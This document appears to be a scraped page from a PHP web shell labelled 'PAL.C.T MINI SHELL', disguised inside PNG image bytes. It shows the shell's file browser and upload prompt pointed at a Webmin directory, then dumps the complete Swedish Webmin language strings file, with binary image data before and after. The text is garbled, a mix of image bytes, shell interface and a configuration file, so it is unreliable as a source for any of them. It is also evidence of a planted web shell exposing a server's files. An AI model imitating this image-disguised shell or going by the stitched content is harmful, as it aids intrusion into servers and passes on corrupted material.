‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/webmin/lang/
upload
files >> //usr/libexec/webmin/webmin/lang/sv

index_title=Webmin-instÀllningar
index_return=webmin-instÀllningar

access_title=IP-Ätkomstkontroll
access_desc=Webmin-servern kan stÀllas in att neka eller tillÄta Ätkomst frÄn vissa IP-adresser i detta formulÀr. Datornamn (t ex foo.bar.com) och IP-nÀtverk (t ex 10.254.3.0 eller 10.254.1.0/255.255.255.128 eller 2001:DB8::A0BC:0001 eller 2001:DB8::/32) kan ocksÄ anges. TillgÀngligheten bör begrÀnsas till adresser du litar pÄ, speciellt om servern gÄr att komma Ät frÄn Internet. Om du inte gör detta kommer vem som helst som lyckas gissa sig till ditt lösenord att komma Ät hela ditt system.
access_ip=TillÄtna IP adresser
access_local=Inkludera lokalt nÀtverk i listan
access_header=Åtkomstkontroll
access_all=TillÄt frÄn alla adresser
access_allow=TillÄt endast frÄn följande adresser
access_deny=Neka följande adresser
access_err=Det gick inte att uppdatera Ätkomstlistan
access_enone=Du har inte angivit nÄgon adress
access_enet='$1' Àr inte en giltig nÀtverksadress
access_emask='$1' Àr inte en giltig nÀtmask
access_ecidr='$1' Àr inte ett giltigt CIDR nummer
access_eip='$1' Àr inte en fullstÀndig IP- eller nÀtverksadress
access_eip6='$1' Àr inte en komplett IPv6 eller nÀtverksadress
access_eself=Din nuvarande IP-adress ($1) nekas med dessa instÀllningar

bind_title=Port och adress
bind_header=IP-adress och port
bind_err=Det gick inte att Àndra adress

log_title=Loggning
log_desc=Webmin kan stÀllas in att logga webservertrÀffar, i standardloggformatet CLF. Om loggningen Àr aktiverad kan du ocksÄ vÀlja att logga IP-adresser eller datornamn och stÀlla in hur ofta loggfilen ska rensas. Loggarna skrivs till fil $1.
log_desc2=NÀr loggningen Àr aktiverad kommer Webmin ocksÄ att logga anvÀndarnas aktivitet mer utförligt i filen $1. Denna logg kan man sedan titta pÄ och analysera med modulen Loggning av Webmin-aktivitet för att se exakt vad varje Webmin-anvÀndare har gjort.
log_header=Webserverloggning
log_disable=Deaktivera loggning
log_enable=Aktivera loggning
log_resolv=Logga uppslagna datornamn
log_uall=Logga alla anvÀndares aktivitet
log_users=Logga endast aktivitet frÄn ...
log_mall=Logga aktivitet i alla moduler
log_modules=Logga endast aktivitet i ...
log_files=Logga direkt till fil för varje aktivitet
log_err=Det gick inte att spara logginstÀllningarna
log_ehours='$1' Àr inte ett giltigt timantal
log_ediff=Ditt system har inte kommandot $1, som behövs för att logga filÀndringar

proxy_title=Proxyservrar
proxy_desc=Om datorn som Webmin körs pÄ finns bakom en brandvÀgg kan du behöva definiera en proxyserver sÄ att web- och FTP-areor blir tillgÀngliga. Vissa moduler, t ex <tt>Programpaket</tt>, kommer att anvÀnda dessa proxies nÀr de hÀmtar filer och program.
proxy_header=Proxyservrar
proxy_http=HTTP-proxy
proxy_ftp=FTP-proxy
proxy_none=Ingen
proxy_nofor=Ingen proxy för
proxy_err=Det gick inte att spara proxies

ui_title=AnvÀndarinstÀllningar
ui_desc=I detta formulÀr kan du göra instÀllningar som ska gÀlla för alla moduler. FÀrger mÄste anges pÄ vanlig RGB-form, dÀr varje vÀrde Àr ett hexadecimalt tal mellan 00 och ff.
ui_header=AnvÀndarinstÀllningar
ui_default=Standard
cs_page=Bakgrund för sidor
cs_text=Normal text
cs_table=Bakgrund för tabeller
cs_header=Tabellrubrik
cs_link=LĂ€nktext
ui_texttitles=Visa rubriker som text?
ui_sysinfo=Visa inloggnings- och datornamn
ui_sysinfo0=LÀngst ned i webblÀsaren
ui_sysinfo1=I lÀsarens titel
ui_sysinfo2=Ovanför sidhuvudet
ui_err=Det gick inte att spara fÀrger

mods_title=Webmin-moduler
mods_desc1=Genom att anvÀnda formulÀret till höger kan du lÀgga till Webmin-moduler efter installationen. Moduler kommer vanligen som <tt>.wbm</tt>-filer, dÀr en fil kan innehÄlla en eller flera moduler. Det gÄr ocksÄ att installera moduler frÄn RPM-filer om detta stöds av ditt operativsystem.
mods_install=Installera modul
mods_local=FrÄn lokal fil
mods_uploaded=FrÄn nedladdad fil
mods_ftp=FrÄn FTP- eller HTTP-URL
mods_installok=Installera modul frÄn fil
mods_desc2=Om du vill ha mer Àn en kopia av samma modul, fast med olika instÀllningar, kan du anvÀnda formulÀret till höger för att klona befintliga moduler. Klonen fÄr ett nytt namn, nya modulinstÀllningar, nya ÄtkomstinstÀllningar och kan göras tillgÀnglig för andra anvÀndare.
mods_clone=Klona modul
mods_cname=Modul att klona
mods_cnew=Namn pÄ klonen
mods_cloneok=Klona modul
mods_desc3=Genom att anvÀnda formulÀret nedan kan du ta bort befintliga moduler och kloner. Om en klonad modul tas bort, kommer ocksÄ alla dess kloner att raderas. Om en modul har tagits bort mÄste du installera om den innan den kan anvÀndas igen. En modul kan inte tas bort om andra befintliga moduler Àr beroende av den.
mods_delete=Ta bort moduler
mods_deleteok=Ta bort angivna moduler

install_err1=Det gick inte att installera modulen frÄn $1
install_efile=Filen finns inte
install_err2=Det gick inte att installera den nedladdade modulen
install_ebrowser=Din browser stödjer inte filnedladdning
install_err3=Det gick inte att installera modulen frÄn $1
install_eurl=Ogiltig URL
install_etar=Ogiltig modulfil: $1
install_einfo=Modul $1 saknar module.info-fil
install_enone=Filen verkar inte innehÄlla nÄgon modul
install_eos=Modul $1 stödjer inte detta operativsystem ($2 $3)
install_ever=Modul $1 gÄr endast att köra i Webmin version $2 eller högre
install_edep=Modul $1 behöver modul $2
install_eextract=Det gick inte att packa upp modulen: $1
install_title=Installera modul
install_desc=Följande moduler har installerats och lagts till din Ätkomstkontrollista:
install_ecomp=Filen Àr komprimerad, men kommandot $1 finns inte i systemet
install_ecomp2=Det gick inte att packa upp filen: $1
install_egzip=Filen Àr gzippad, men kommandot $1 finns inte i systemet
install_egzip2=Det gick inte att gunzippa filen: $1
install_erpm=Detta Àr inte en RPM-modul för Webmin
install_eirpm=RPM-installationen misslyckades :$1

clone_err=Det gick inte att klona modul
clone_elink=symbolisk lÀnkning misslyckades: $1
clone_ecopy=Det gick inte att kopiera instÀllningar: $1
clone_desc=Klon av $1

delete_err=Det gick inte att ta bort moduler
delete_edep=Modul $1 fÄr inte tas bort eftersom modul $2 Àr beroende av den
delete_desc1=$1 (Klon av $2)
delete_title=Ta bort moduler
delete_msg=Följande moduler har tagits bort frÄn din Webmin-installation:

os_title=Operativsystem
os_desc2=HÀr kan du ocksÄ Àndra de sökvÀgar som Webmin ska anvÀnda sig av vid körning av program och sökvÀgar till den delade katalog som skickas till varje program.
os_header=Operativsystem
os_new=Nytt operativsystem
os_path=ProgramsökvÀg
os_ld_path=KatalogsökvÀg

lang_title=SprÄkval
lang_title2=SprÄk i Webmin
lang_lang=AnvÀnd sprÄk
lang_intro=PÄ denna sida kan du vÀlja vilket sprÄk Webmin ska anvÀnda i sina textmeddelanden
lang_ok=Byt sprÄk

ssl_title=SSL-kryptering
ssl_desc1=Datorn som Webmin körs pÄ verkar ha SSLeay Perl-modulen installerad. Med hjÀlp av den kan Webmin stödja SSL-krypterad kommunikation mellan din browser och servern. Om du kopplar upp dig mot Webmin-servern via Internet, bör du definitivt anvÀnda SSL för att undvika att nÄgon annan kan fÄ tag pÄ ditt Webmin-lösenord.
ssl_desc2=Varning! SlÄ endast pÄ SSL-stöd om din browser stödjer SSL (t ex Netscape eller IE) och om det inte finns nÄgon brandvÀgg som spÀrrar <b>https</b>-förfrÄgningar mellan din browser och Webmin-datorn.
ssl_header=SSL-stöd

startpage_title=InstÀllningar för indexsida
startpage_tabs=Kategorisera moduler?
startpage_nocol=Antal kolumner
startpage_alt=AnvÀnd alternativ rubrik
startpage_ecols='$1' Àr inte ett giltigt antal kolumner
startpage_gotoone=GÄ direkt till modul<br>om anvÀndaren endast har en?
startpage_deftab=Standardkategori

upgrade_title=Uppgradera Webmin
upgrade_desc=I detta formulÀr kan du uppgradera hela Webmin-installationen till en ny version. Du kan uppgradera frÄn en lokal fil, nedladdad fil eller den senaste versionen pÄ <a href=http://www.webmin.com/>www.webmin.com</a>. Precis som vid manuell uppgradering kommer alla instÀllningar och tredjepartsmoduler att vara oförÀndrade.
upgrade_descrpm=I detta formulÀr kan du uppgradera hela Webmin-installationen till en ny version genom att anvÀnda RPMs uppgraderingsfunktion. Installera frÄn en lokal RPM-fil, en nedladdad fil eller frÄn den senaste versionen pÄ <a href=http://www.webmin.com/>www.webmin.com</a>. Precis som vid manuell uppgradering kommer alla instÀllningar och tredjepartsmoduler att finnas kvar.
upgrade_descsolaris-pkg=I detta formulÀr kan du uppgradera hela Webmin-installationen till en ny version genom att ta bort det gamla Solaris-paketet och installera ett nytt. Installera frÄn en lokal Solaris-paketfil, en nedladdad fil eller frÄn den senaste versionen pÄ <a href=http://www.webmin.com/>www.webmin.com</a>. Precis som vid manuell uppgradering kommer alla instÀllningar och trejdepartsmoduler att finnas kvar.
upgrade_local=FrÄn lokal fil
upgrade_uploaded=FrÄn uppladdad fil
upgrade_ftp=Senaste versionen frÄn www.webmin.com
upgrade_cup=Senaste versionen frÄn Calderas <tt>cupdate</tt>-verktyg
upgrade_ok=Upgpradera Webmin
upgrade_err1=Det gick inte att uppgradera frÄn $1
upgrade_err2=Det gick inte att uppgradera frÄn uppladdad fil
upgrade_err3=Det gick inte att uppgradera frÄn www.webmin.com
upgrade_efile=Filen finns inte
upgrade_ebrowser=Din browser stödjer inte nedladdning av filer
upgrade_eversion=Det gÄr inte att nedgradera till version $1
upgrade_erpm=Det Àr inte en giltig Webmin-RPM-fil
upgrade_egunzip=Systemet saknar kommandot <tt>gunzip</tt>
upgrade_etar=Det Àr inte en giltig Webmin-tar-fil
upgrade_emod=Filen Àr en Webmin-modul, inte en hel Webmin-uppgradering. Du vill förmodligen anvÀnda sidan <a href='$1'>Webmin-moduler</a> istÀllet för att installera den.
upgrade_setup=Kör setup.sh-script för att uppgradera Webmin ... VÀnta en minut pÄ att det ska bli fÀrdigt innan du fortsÀtter.
upgrade_setuprpm=Kör RPM för att uppgradera Webmin ... VÀnta en minut pÄ att det ska bli fÀrdigt innan du fortsÀtter.
upgrade_setuppackage=Kör pkgadd för att uppgradera Webmin ... VÀnta en minut pÄ att det ska bli fÀrdigt innan du fortsÀtter.
upgrade_esolaris=Webmins uppgradering fungerar inte nu nÀr du har installerat systemet frÄn ett Solaris-paket. Uppgradera manuellt istÀllet.

ca_title=Signerande part
ca_old=Befintligt certifikat
ca_header1=Skapa ett nytt signerat certifikat
ca_header2=Ändra signerat certifikat
ca_newmsg1=Din Webmin-server har redan satts upp som en signerande part. Detta formulÀr kan anvÀndas för att sÀtta upp den pÄ nytt, men certifikat som redan signerats kommer dÄ att sluta fungera.
ca_newmsg2=I detta formulÀr kan du sÀtta upp din Webmin-server att vara signerande part (CA) sÄ att anvÀndare under Webmin-anvÀndare kan begÀra certifikat för att identifiera sig för servern utan att behöva logga in.
ca_cn=Namn pÄ signerande part
ca_email=E-postadress
ca_ou=Avdelning
ca_o=Organisation
ca_sp=Land
ca_c=Landskod
ca_create=SĂ€tt upp signerande part
ca_oldmsg1=Det signerade certifikat som denna server anvÀnder visas nedan. Det gÄr att Àndra genom att klistra in ett certifikat frÄn en annan signerare, men detta medför att certifikat som redan utfÀrdats inte lÀngre kommer att fungera.
ca_oldmsg2=Om en signerande part redan satts upp pÄ en annan Webmin-server kan du klistra in dess certifikat nedan istÀllet för att sÀtta upp en ny signerande part. Detta medför att anvÀndare pÄ den andra servern ocksÄ kommer att kunna identifieras av denna server.
ca_err=Det gick inte att sÀtta upp signerande part
ca_setupok=Din signerande part har satts upp utan problem. Nu kan anvÀndare gÄ till Webmin-modulen för att begÀra certifikat för sig.
ca_stop=StÀng av signerande part
ca_stopmsg=Tryck pÄ denna knapp för att stÀnga av Webmins funktioner att godkÀnna befintliga certifikat och utfÀrda nya. Detta medför att anvÀndarna istÀllet mÄste autentiseras med anvÀndarnamn och lösenord.
ca_stopok=Din signerande part har stÀngts av utan problem.
ca_eminiserv=SSL-klientcertifikat stöds endast under miniserv.
ca_eversion=Version av den Perl Net::SSLeay-modul som finns pÄ detta system stödjer inte SSL-klientcertifikat.
ca_essleay=Kommandot $1 för att administrera SSL finns inte i systemet. Du kan behöva Àndra sökvÀgen i instÀllningarna för Webmin-anvÀndarmodulen.
ca_essl=SSL-certifiering kan endast sÀttas upp dÄ webservern körs i SSL-mod.

session_title=Autentisering
session_desc1=NÀr detta Àr aktiverat kommer Webmin-servern att skyddas av tidsgrÀnser för lösenorden mot en lösenords-crackerattack genom att det för varje misslyckat inloggningsförsök dröjer lÀngre tid innan samma anvÀndare fÄr försöka logga in igen.
session_header=Autentiserings- och sessionsinstÀllningar
session_pdisable=SlÄ av tidsgrÀnser för lösenord
session_penable=SlÄ pÄ tidsgrÀnser för lösenord
session_blockhost=SpÀrra datorer med fler Àn $1 misslyckade inloggningsförsök i $2 sekunder.
session_disable=Deaktivera sessionsautentiseringen
session_enable=Aktivera sessionsautentiseringen
session_localoff=KrÀv alltid anvÀndarnamn och lösenord
session_localon=TillÄt inloggning utan lösenord men med matchning av anvÀndare frÄn den lokala datorn.
session_locking=Aktivera lÄsning i Webmin
session_err=Det gick inte att spara autentiseringen
session_elogouttime=Utloggningstid saknas eller Àr ogiltig
session_eblockhost_time=SpÀrrtid saknas eller Àr ogiltig
session_eblockhost_failures=Antal inloggningar för spÀrr saknas eller Àr ogiltigt
session_ecookie=Din webblÀsare stödjer inte kakor, men det behövs för sessionsautentisering.
session_elsof=Lokal autentisering krÀver programmet <tt>lsof</tt>

assignment_title=Kategorisera moduler
assignment_header=Ange en kategori för varje modul

categories_title=Ändra kategorier
categories_header=Kategori-ID och beskrivningar

log_access=Ändrade IP-Ă„tkomstkontroll
log_bind=Ändrade port och adress
log_log=Ändrade loggningsinstĂ€llningarna
log_proxy=Ändrade proxy-servrar
log_ui=Ändrade instĂ€llningarna för anvĂ€ndargrĂ€nssnitt
log_install=Installerade modul $1
log_tinstall=Installerade tema $1
log_clone=Klonade modul $1 till $2
log_delete=Tog bort modul $1
log_os=Bytte operativsystem
log_lang=Bytte globalt sprÄk
log_startpage=Ändrade instĂ€llningarna för indexsidan
log_upgrade=Upgraderade Webmin till version $1
log_session=Ändrade autentiseringsinstĂ€llningarna
log_ssl=Ändrade SSL-krypteringsmod
log_setupca=Satte upp certifikatsignerare
log_changeca=Ändrade certifikatsignerare
log_stopca=StÀngde certifikatsignerare
log_assignment=Ändrade modulkategorier
log_categories=Ändrade kategorinamn
log_theme=Ändrade tema till $1
log_theme_def=Ändrade tema till Webmin-standard
log_referers=Ändrade pĂ„litliga lĂ€nkar

themes_title=Webmin-teman
themes_desc=Ett tema styr hur Webmins anvÀndargrÀnssnitt ser ut, inklusive ikoner, fÀrger, bakgrunder och möjligen ocksÄ layoutsidorna. I rutan nedan kan du vÀlja ett av de teman som finns pÄ ditt system.
themes_sel=Nuvarande tema:
themes_default=Webmins standardtema
themes_change=Ändra
themes_installdesc=AnvÀnd formulÀret nedan för att installera ett nytt Webmin-tema pÄ systemet. Teman distribueras vanligtvis i <tt>.wbt</tt>-filer, men kan ocksÄ installeras frÄn RPM-filer om detta stöds av ditt operativsystem.
themes_installok=Installera tema

themes_err1=Det gick inte att installera temat frÄn $1
themes_efile=Filen finns inte
themes_err2=Det gick inte att installera det nedladdade temat
themes_ebrowser=Din webblÀsare stöder inte filnedladdningar
themes_err3=Det gick inte att installera temat frÄn $1
themes_eurl=URL:en var inte giltig
themes_etar=Det var inte en giltig temafil: $1
themes_einfo=Tema $1 saknar en theme.info-fil
themes_enone=Filen verkar inte innehÄlla nÄgot tema
themes_eextract=Det gick inte att ta fram: $1
themes_done=Följande teman har installerats pÄ systemet:
themes_ecomp=Filen Àr komprimerad, men kommandot $1 finns inte i systemet
themes_ecomp2=Det gick inte att packa upp filen: $1
themes_egzip=Filen Àr gzippad, men kommandot $1 finns inte i systemet
themes_egzip2=Det gick inte att gunzippa filen: $1
themes_erpm=Det Àr inte en Webmin-tema-RPM
themes_eirpm=Det gick inte att installera denna RPM: $1
themes_ok=Temat har Àndrats ... du skickas nu till Webmins indexsida.

referers_title=PÄlitliga webbsidor
referers_desc=PÄ denna sida kan du stÀlla in Webmins stöd för webbsidekontroll, som anvÀnds för att hindra att ondsinta lÀnkar frÄn andra sajter lurar din webblÀsare att göra farliga saker med Webmin. Om du har lÀnkar till Webmin frÄn dina egna sidor och inte vill bli varnad nÀr du anvÀnder dessa, mÄste du skriva in dem i listan nedan.
referers_list=PÄlitliga sajter
referers_none=Lita pÄ lÀnkar frÄn okÀnda sidor
referers_referer=Ska webbsidekontrollen vara pÄslagen?

advanced_header=Avancerade och experimentella alternativ
advanced_temp=TillfÀlliga filer-mapp
advanced_tempdef=Standard (<tt>/tmp/.webmin</tt>)
advanced_tempdelete=Högsta Älder av temporÀra filer
advanced_nodelete=ObegrÀnsad
advanced_days=dagar
advanced_precache0=Inga
advanced_precache1=EngelsksprÄkiga textfiler
advanced_err=Det gick inte att spara avancerade alternativ
advanced_etemp=Saknade eller icke-existerande temporÀra filer-mapp
advanced_etdir=Saknade eller icke-existerande temporÀra filer-mapp för $1
advanced_tdir=Katalog
advanced_showstderr=Visa Perl fel i webblÀsare?
advanced_eumask=Umask mÄste vara ett 3-siffrigt oktalt tal
advanced_etempdelete=Saknad eller ogiltig maximal Älder av temporÀra filer
advanced_nice=CPU prioritet för schemalagda jobb
advanced_pri=PrioritetsnivÄ
advanced_gzip0=Aldrig
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚